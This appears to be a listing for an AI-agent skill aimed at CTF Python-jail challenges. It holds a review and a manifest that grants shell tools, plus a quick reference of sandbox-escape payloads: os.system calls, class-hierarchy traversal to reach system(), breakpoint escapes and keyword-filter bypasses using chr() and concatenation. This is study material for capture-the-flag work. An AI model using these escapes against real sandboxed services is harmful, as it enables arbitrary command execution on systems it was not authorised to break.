Our review

Escapes Python sandbox restrictions in restricted eval/exec environments using class hierarchy traversal and code obfuscation.

Strengths

Provides concrete techniques (basic commands, class hierarchy, encoding bypass)
Includes quick reference and debugging aids
Covers common CTF jail challenges

Limitations

Requires knowledge of Python internals (class hierarchy indices may vary)
Some techniques may fail against advanced sandboxes with additional restrictions
Not a one-size-fits-all solution

When to use it

When you need to escape a Python sandbox or execute commands in a filtered Python environment.

When not to use it

For general Python development or non-security tasks.

Examples

Basic os.system escape

Use Python's os module to execute the command 'cat flag.txt' in a restricted environment.

Class hierarchy escape

Escape the Python sandbox using the class hierarchy method to execute a shell command like 'id'.

Debugging class indices

Find the index of a useful class (e.g., with 'wrap' in its name) for sandbox escape by iterating subclasses.

name: pyjail description: Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. allowed-tools: Bash, Read, Write, Grep, Glob

Python Jail Escape Skill

Quick Workflow

Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag

Quick Reference - Common Escapes

# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")

# Using breakpoint (Python 3.7+)
breakpoint()  # Drops into pdb, then !cat flag.txt

# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')

# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')

Reference Files

| Topic | Reference | |-------|-----------| | Bypass Techniques | reference/bypass.md | | Complete Payloads | reference/payloads.md |

Quick Debugging

# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
    if 'wrap' in str(c): print(i, c)

# Check available builtins
dir(__builtins__)

Python Jail Escape

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